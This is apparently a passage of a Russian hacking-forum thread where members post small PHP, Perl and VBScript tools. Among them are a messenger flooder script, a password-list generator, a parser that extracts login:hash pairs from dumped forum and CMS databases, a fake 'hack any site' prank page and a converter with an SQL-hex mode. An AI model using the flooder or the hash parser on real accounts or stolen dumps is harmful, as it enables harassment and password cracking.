    '<html> <head><title>Генератор</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link        {color: #9a9a9a; text-decoration: none;} a:active        {color: #9a9a9a; text-decoration: none;} a:visited        {color: #9a9a9a; text-decoration: none;} a:hover        {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
    if (isset(
    $_POST['submit']))
    {
        foreach (
    $_POST as $post_date_key => $post_date)
        {
            if (empty(
    $post_date))
            {
                die(
    "Вы не заполнили поля");
            }
        }
        
    $from = $_POST['from'];
        
    $to = $_POST['to'];
        
    $pass = $_POST['pass'];
        
    $file = $_POST['file'];

        
    $f = fopen($file, "w");
        for (
    $from; $from < $to; $from++)
        {
            
    $data = $from.";".$pass."\r\n";
            
    fwrite($f, $data);
        }

        
    fclose($f);
        echo 
    "OK"."<br>";
    } else
    {
        echo 
    "<form method='POST' name='submit'><table border=0>
    <tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
    <tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
    <tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
    <tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
    <tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
    </table></form>"
    ;
    }
    echo 
    "Разработка:Zedi v.0.1</body></html><noscript>";

    ?>
     
  12. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    незнаю, может не туда запостил, но скрипт полезный

    Флудер мейл агента.
    Допустим в магенте есть контакт "петя". Открываем окно контакта.

    пишем в блокноте:

    Код:

    Code:
    set wshell=createObject("wscript.shell") 
    FOR i=1 to 40               ' цикл , сколько сообщений отслать(40 шт)
    wshell.appactivate("петя")  ' активировать окно с заголовком "петя" 
    WSCRIPT.SLEEP(30)           ' пауза чтобы окно полностью вышло на передний план
    wshell.sendkeys ("флуд флуд")  ' послать строку
    wshell.sendkeys ("^{enter}")'Ctrl+Enter (отправляем сообщение)
    wscript.sleep(6)        'пауза
    next
    msgbox ("Готово")
    
    сохранить как *.vbs.

    При ативации окна учитывается регистр.("петя" не тоже самое что "Петя")
    Теперь, не закрывая и не сворачивая окна контакта, запустить скрипт.

    п.с. можно и не только магент флудить))
     
  13. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    сегодня понадобилось отсортировать файл с мылами ... вот собственно результат
    подходит не только для мыл, но и для сортировки любых текстовых данных в файле
    PHP:
    #!/usr/bin/perl

    use sort "stable";

    $emails = 'mails.txt';
    $sorted = 'sorted.txt';

    my @acc : shared;

    open( ACS, "<$emails" );
    @
    acc = acc();

    @
    c = sort @acc;
    while (@
    c) {
        { 
    lock(@c); $c = shift @c; }

        
    open( FILE, ">>$sorted" );
        print 
    FILE "$c\n";
        
    close(FILE);
        { 
    lock($i); $i++; }
    }

    sub acc {
        
    my (@mas);
        while (<
    ACS>) {
            
    push @mas, $_;
        }
        
    chomp @mas;
        return @
    mas;
    }
     
  14. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    PHP:
    <title>Взлом любого сайта за несколько минут!</title>
    <?
    ob_implicit_flush 
    (); 
    flush();
    ob_flush();
    if(
    strlen($_POST[url]) > 30) {
    echo die(
    "Ковбой, иди ломай свою лошадь!");
    flush();
    ob_flush();
    }
    if(!isset(
    $_POST['url'])) {
    echo 
    '
    <form action="" method="POST">
    Введите URL сайта - <input type=text name="url" value="http://site.ru"><br>
    <input type=submit name=submit value="hack!">
    </form>
    '
    ;
    flush();
    ob_flush();
    }
    flush();
    ob_flush();
    if(isset(
    $_POST['url']) && isset($_POST['submit'])) {
    $_POST[url] = htmlspecialchars($_POST[url]);
    flush();
    ob_flush();
    echo 
    'Производим взлом сайта - <b>'.$_POST[url].'</b>...<br><br>';
    flush();
    ob_flush();
    sleep(2);
    echo 
    'Производится поиск уязвимостей';
    for(
    $i=0; $i<rand(6,11); $i++) {
    echo 
    '.';
    flush();
    ob_flush();
    sleep(1);
    }
    sleep(2);
    echo 
    '<br>';
    echo 
    'Уязвимость найдена!<br>';
    sleep(2);
    echo 
    'Достаем данные администратора';
    for(
    $i=0; $i<rand(6,11); $i++) {
    echo 
    '.';
    flush();
    ob_flush();
    sleep(1);
    }
    echo 
    '<br><table border="1">';
    $lim = rand(6,11);
    for(
    $i=1; $i<=$lim; $i++) {
    if(
    $i == $lim) {
    $r = "Success!";
    }
    else
    {
    $r = "Failed!";
    }
    echo 
    '<tr><td>Попытка №'.$i.' </td><td> '.$r.'</td>';
    flush();
    ob_flush();
    sleep(rand(2,3));
    }
    echo 
    '</table><br>';
    $rr = rand(1, 200);
    if(
    strlen($rr) == 1) $adm = "admin";
    if(
    strlen($rr) == 2) $adm = "administrator";
    if(
    strlen($rr) == 3) $adm = "moderator";
    echo 
    'Логин и зашифрованный пароль администратора - <b>'.$adm.':'.md5(rand(100,100000)).'</b>';
    echo 
    '<br>';
    }
    ?>
    :)
     
    2 people like this.
  15. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    ICQFIGHT (то же, что и флеш версия на сайте icq.com)

    PHP:
    <?php
    function icqfight($uin1,$uin2) {
        
    $array = array();
        
    $a = file_get_contents("http://www.icq.com/fight/fight_frm.php?u1=".$uin1."&u2=".$uin2);
        
    $pos = strpos($a,"Make sure you enter a valid ICQ number");
        if(
    $pos != false) {
            
    $array['status'] = 'error';
        }
        
    $array1 = explode("&",$a);
        
    $sc1 = $array1[0];
        
    $sc2 = $array1[1];
        
    $sc1 = str_replace("sc1=","",$sc1);
        
    $sc2 = str_replace("sc2=","",$sc2);
        if(
    $sc1 > $sc2) {
            
    $array['status'] = 'win';
        } else
            if(
    $sc2 > $sc1) {
                
    $array['status'] = 'lose';
            } else
                  if(
    $sc2 == $sc1 && $pos == false) {
                
    $array['status'] = 'draw';
            }
        
    $array['score1'] = $sc1;
        
    $array['score2'] = $sc2;
        return 
    $array;
    }

    if(
    $_GET['y'] && $_GET['h']){
        
    header("Content-type: text/html; charset=windows-1251");
        
    $result = icqfight($_GET['y'],$_GET['h']);
        
          if (
    $result['status'] == error) {
          
    $echo = "Ошибка! Возможно, неверно введены UIN`ы.";
          }  
          if (
    $result['status'] == win) { 
          
    $ret1 = " - Вы выйграли!";
          
    $echo = "Поздравляем! Вы выйграли со счетом - <b>".$result['score1']." - ".$result['score2']."</b>.";
          }
          if (
    $result['status'] == lose) {
          
    $ret1 = " - Вы проиграли.";
          
    $echo = "К сожалению, вы проиграли со счетом - <b>".$result['score1']." - ".$result['score2']."</b>.";
          }
          if (
    $result['status'] == draw) {
          
    $ret1 = " - Ничья!";
          
    $echo = "Ничья! Счет - <b>".$result['score1']." - ".$result['score2']."</b>.";
          }       
          echo 
    $echo;
        exit();
    }

    echo <<<HTML
    <html>
    <meta http-equiv="content-type" content="text/html; charset=windows-1251" />
    <title>ICQ FIGHT
    {$ret1}</title>
    <head>
    <style type="text/css">
          body{ 
                   background-color: rgb(238,52,63);
                   background-image: url("logo.jpg");
                   background-repeat: no-repeat;
                   background-position: top center;
         }
        </style>
    <script>
    function switchSettings()
    {
        var settings = document.getElementById('settings');
        if (settings.style.visibility == 'hidden') settings.style.visibility = 'visible';
            else settings.style.visibility = 'hidden';
        var settings1 = document.getElementById('res');
        if (settings1.style.visibility == 'hidden') settings1.style.visibility = 'visible';
            else settings1.style.visibility = 'hidden';
        var settings2 = document.getElementById('eshe');
        if (settings2.style.visibility == 'hidden') settings2.style.visibility = 'visible';
            else settings2.style.visibility = 'hidden';
    }


    function getPage(url,id) {
      var r;
      
      if (window.XMLHttpRequest) {
        r = new XMLHttpRequest();   
        document.getElementById('button').disabled = true;
        r.open("GET", url, false);
        r.send(null);
      }else if (window.ActiveXObject) {
        r = new ActiveXObject("Microsoft.XMLHTTP");
        if (!r)
          r = new ActiveXObject("Msxml2.XMLHTTP");
        if (r) {     
          document.getElementById('button').disabled = true;
          r.open("GET", url, false); 
          r.send(null);
          }
        }
            document.getElementById(id).innerHTML = r.responseText;
            document.getElementById('button').disabled = false;
      }
    </script>
    </head>
    <body>
    <center>
    <form method="GET" action="">
    <table style="margin-top: 320px; margin-left: 10px; visibility:visible;" id="settings">
        <tr><td><input type="9" maxlength="9" name="your" id="your" value="you" onclick="this.value=''" size="14"/></td><td><b> VS </b></td><td><input type="9" maxlength="9" name="him" id="him" value="enemy" onclick="this.value=''" size="14"/></td></tr>
        <tr><td colspan="3" align="center"><input type="button" value="FIGHT!" id='button' onclick="switchSettings(); getPage('?y='+getElementById('your').value+'&h='+getElementById('him').value,'res');"/></td></tr>
    </table>
    </form>
    <div id="res" style="visibility:hidden;"></div>
    <a href="javascript:switchSettings();" id="eshe" style="visibility:hidden;">Еще раз?</a>
    </center>
    </body>
    </html>
    HTML;
    ?>
    http://slil.ru/26989687 <- тут лого
     
    1 person likes this.
  16. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    Сокращение ссылок:
    index.php

    PHP:
    <?
    include 
    "db.php";
    if(isset(
    $_GET[id])) {
    $id = mysql_real_escape_string($_GET[id]);
    $url = mysql_query('SELECT * FROM url WHERE id="'.$id.'"', $db);
    $url = mysql_fetch_array($url);
    $url = $url[url];
    if(!empty(
    $url)) {
    $rand = rand(0,10);
    echo 
    '<META HTTP-EQUIV=Refresh CONTENT="'.$rand.'; URL='.$url.'">';
    echo (
    "\nWait $rand seconds");
    }
    else echo 
    "Такой url не найден в базе!";
    }
    if(isset(
    $_GET[add])) {
    echo 
    '
    <form action="index.php?add" method=POST>
    <pre>
    URL: <input type=text name=url>
    <input type=submit name="submit" value="Добавить">
    </pre>
    </form>
    '
    ;
    if(isset(
    $_POST[submit])) {
    $_POST[url] = mysql_real_escape_string($_POST[url]);
    $addurl = mysql_query("INSERT INTO url (url) VALUES ('$_POST[url]')");
    $addurl = mysql_query("SELECT * FROM url WHERE url='".$_POST[url]."'", $db);
    $addurl = mysql_fetch_array($addurl);
    $newid = $addurl[id];
    if(!empty(
    $newid)) echo "<a href='".$addr."?id=".$newid."'>".$addr."?id=".$newid."</a>";
    }
    }
    echo 
    '
    <br>
    <a href="'
    .$addr.'?add">Добавить URL!</a>
    '
    ;
    ?>
    db.php

    PHP:
    <?
    $host = 'localhost';          # Хост, на котором висит mysql
    $user = 'root';               # Логин mysql
    $pass = '';           # Пароль к mysql
    $base = 'test';                # База mysql
    $addr = 'http://localhost/short/index.php'; # полный адрес до скрипта

    $db = mysql_connect($host,$user,$pass);
    mysql_select_db($base, $db);
    ?>
     
  17. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Узнаем разрешение монитора посетителя сайта

    Вариант 1 - просто получение информации и вывод в браузер значение переменной - 1 файл, обзовите index.php, если по другому - измените в коде в двух местах:

    PHP:
    <?php

    session_start
    (); 
       
    if(!isset(
    $_SESSION['res'])) 
    { 
      if(isset(
    $_GET['res']))  
      { 
        
    $_SESSION['res'] = $_GET['res']; 
        
    Header("Location: index.php");  
      } 
      else 
      { 
      
    ?> 
       
      <sсriрt language="JavaScript"> self.location.href = "index.php?res="+screen.width+"x"+screen.height;</sсriрt> 
       
      <? 
      
    } 
    } 
    else 
    { 
      echo 
    "<b>".$_SESSION['res']."</b>"; 
    } 

    ?>
    Вариант 2 - тоже самое, только пишем разрешение монитора посетителя сайта на картинку:

    PHP:
    <?php
    Header
    ("Content-type: image/gif");

    session_start(); 
       
    if(!isset(
    $_SESSION['res'])) 
    { 
      if(isset(
    $_GET['res'])) // Получили GET? 
      
    { 
        
    $_SESSION['res'] = $_GET['res']; 
        
    Header("Location: index.php"); 
      } 
      else 
      { 
      
    ?> 
       
      <script language="JavaScript"> self.location.href = "index.php?res="+screen.width+"x"+screen.height;</script> 
       
      <? 
      
    } 
    } 
    else 
    { 

    $b = "Parametres of your monitor:  ".$_SESSION['res'];  

    $im = ImageCreateFromPng("dss1.gif");
    $black = imageColorAllocate($im, 0, 0, 0);
    ImageString($im,3,20,20,$b,$black);
    ImageGif($im);
    ImageDestroy($im);
    }

    ?>
    и как результат:

    [​IMG]
     
  18. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    [​IMG]

    Code:
    http://bestquest.info/freeicq/freeicq.rar
    Все в комментах. Скрипт раздает по одному нуму на чела. Требует наличия:
    И как результат:
    /showpost.php?p=1138926&postcount=1
     
    1 person likes this.
  19. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    DataBase Parser by me

    скрипт парсит бд и выводит только Login:hash, удобно))

    пока парсит только:
    Code:
    1 - vBulletin
    2 - phpBB 2
    3 - SMF
    4 - Joomla
    5 - PHP-Fusion
    6 - e107
    7 - DLE
    8 - WordPress
    9 - PunBB
    10 - PHP-nuke
    как только, так сразу движки будут добавляться.

    Code:
    #!usr/bin/perl
    system ('cls');
    print "###################################\n";
    print "#  DataBase Parser by ph1l1ster   #\n";
    print "###################################\n";
    print "#   |||||    Enjoy ;)    |||||    #\n";
    print "###################################\n\n\n\n";
    print "What we do parsing?\n";
    print "1 - vBulletin\n";
    print "2 - phpBB 2\n";
    print "3 - SMF\n";
    print "4 - Joomla\n";
    print "5 - PHP-Fusion\n";
    print "6 - e107\n";
    print "7 - DLE\n\n";
    
    $do = <STDIN>;
    
    if ($do == 1)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n\n";
    foreach $parsr (@parsr)
    {
    ($a, $a, $a, $a, $a, $a, $a, $a, $a, $login, $a, $hash, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $status, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $salt) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    chomp($salt);
    }
    print PARSED "$login:$hash:$salt\n";
    close(PARSED);
    print "\nOK!\n\n";
    }
    
    if ($do == 2)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $login, $a, $hash) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
    
    if ($do == 3)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $login, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $hash) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
    
    if ($do == 4)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $a, $a, $a, $a, $login, $a, $a, $a, $hash) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
    
    if ($do == 5)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $login, $a, $hash) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
    
    if ($do == 6)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $login, $a, $status, $a, $a, $a, $hash) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
    
    if ($do == 7)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $mail, $a, $hash, $a, $login) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
    
    if ($do == 8)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $login, $a, $hash) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
    
    if ($do == 9)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $login, $a, $hash) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
    if ($do == 10)
    {
    print "Enter db file name:";
    $file = <STDIN>;
    open(FILE, $file);
    @parsr = <FILE>;
    close(FILE);
    open(PARSED, ">>parsed.txt");
    print "\nParsing....\n###################\n";
    foreach $parsr (@parsr)
    {
    ($a, $a, $a, $a, $a, $login, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $hash) = split("'",$parsr);
    chomp($login);
    chomp($hash);
    print PARSED "$login:$hash\n";
    }
    close(PARSED);
    print "\nOK!\n\n";
    }
     
    2 people like this.
  20. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    c0nvert0r

    я канечно понимаю что щас дофига сайтов всяких по енкоде\декоде но делато было вечером.. ;)

    Code:
    - C4lcul4te MD5
    - C4lcul4te Base64
    - C4lcul4te SHA1
    - ASCII to hex
    - ASCII to Binary
    - Hex to Binary
    - SQL Hex
    Code:
    #!usr/bin/perl 
    system ('cls');
    print "+++++++++++++++++++++++++++++++++++++++++++++++\n";
    print "+++++++++c0nvert0r by ph1l1ster++++++++++\n";
    print "+++++++++++++++++++++++++++++++++++++++++++++++\n\n\n";
    print "### What we will do?\n\n1 - C4lcul4te MD5\n2 - C4lcul4te Base64\n3 - C4lcul4te SHA1\n4 - ASCII to hex\n5 - ASCII to Binary\n6 - Hex to Binary\n7 - SQL Hex\n8 - Exit\n";
    $what = <stdin>;
    if ($what == 1)
    {
    use Digest::MD5 qw(md5_hex); 
    print "Enter simvols: "; 
    $md5 = <STDIN>; 
    chomp ($md5); 
    print "Md5 hash: ", md5_hex("$md5"), "\n";
    }
    if ($what == 2)
    {
    use MIME::Base64;
    print "Enter simvols: "; 
    $b64 = <STDIN>; 
    chomp ($b64); 
    print "Base 64 hash: ", encode_base64("$b64"), "\n";
    }
    if ($what == 3)
    {
    use Digest::SHA1 qw(sha1_hex);
    print "Enter simvols: "; 
    $sha = <STDIN>; 
    chomp ($sha);
    print "SHA-1: ", sha1_hex($sha), "\n";
    }
    if ($what == 4)
    {
    use strict;
    sub ascii_to_hex ($)
    {
    (my $asc = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
    return $asc;
    }
    print "Enter simvols:: ";
    my $asc = <STDIN>;
    chomp ($asc);
    my $hex = ascii_to_hex $asc;
    print "Hex: $hex\n";
    }
    if ($what == 5)
    {
    sub AsciiToBinary
    {
      my(%h)=('0'=>'00110000','1'=>'00110001','2'=>'00110010','3'=>'00110011','4'=>'00110100','5'=>'00110101','6'=>'00110110','7'=>'00110111','8'=>'00111000','9'=>'00111001','A'=>'01000001','B'=>'01000010','C'=>'01000011','D'=>'01000100','E'=>'01000101','F'=>'01000110','G'=>'01000111','H'=>'01001000','I'=>'01001001','J'=>'01001010','K'=>'01001011','L'=>'01001100','M'=>'01001101','N'=>'01001110','O'=>'01001111','P'=>'01010000','Q'=>'01010001','R'=>'01010010','S'=>'01010011','T'=>'01010100','U'=>'01010101','V'=>'01010110','W'=>'01010111','X'=>'01011000','Y'=>'01011001','Z'=>'01011010' );
      $_=uc $_[0];
      s/([0-9A-Z])/$h{$1}/g;
      return $_;
       }
    print "Enter simvols:\n";
    $line_in = <stdin>;
    $line_out=AsciiToBinary($line_in);
    print "$line_out";
    }
    if ($what == 6)
    {
    sub HexToBinary
    {my(%h)=('0'=>'0000','1'=>'0001','2'=>'0010','3'=>'0011','4'=>'0100','5'=>'0101','6'=>'0110','7'=>'0111','8'=>'1000','9'=>'1001','A'=>'1010','B'=>'1011','C'=>'1100','D'=>'1101','E'=>'1110','F'=>'1111');
      $_=uc $_[0];
      s/([0-9A-F])/$h{$1}/g;
      return $_; };
    print "Enter simvols:\n";
    $line_in = <stdin>;
    $line_out=HexToBinary($line_in);
    print "Binary:$line_out";
    }
    if ($what == 7)
    {
    use strict;
    sub sql_hex ($)
    {
    (my $sql = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
    return $sql;
    }
    print "Enter simvols:: ";
    my $sql = <STDIN>;
    chomp ($sql);
    my $sql = sql_hex $sql;
    print "Hex:0x$sql\n";
    }
    if ($what == 8)
    {
    print "Good luck!\n";
    exit;
    }
    
     
    1 person likes this.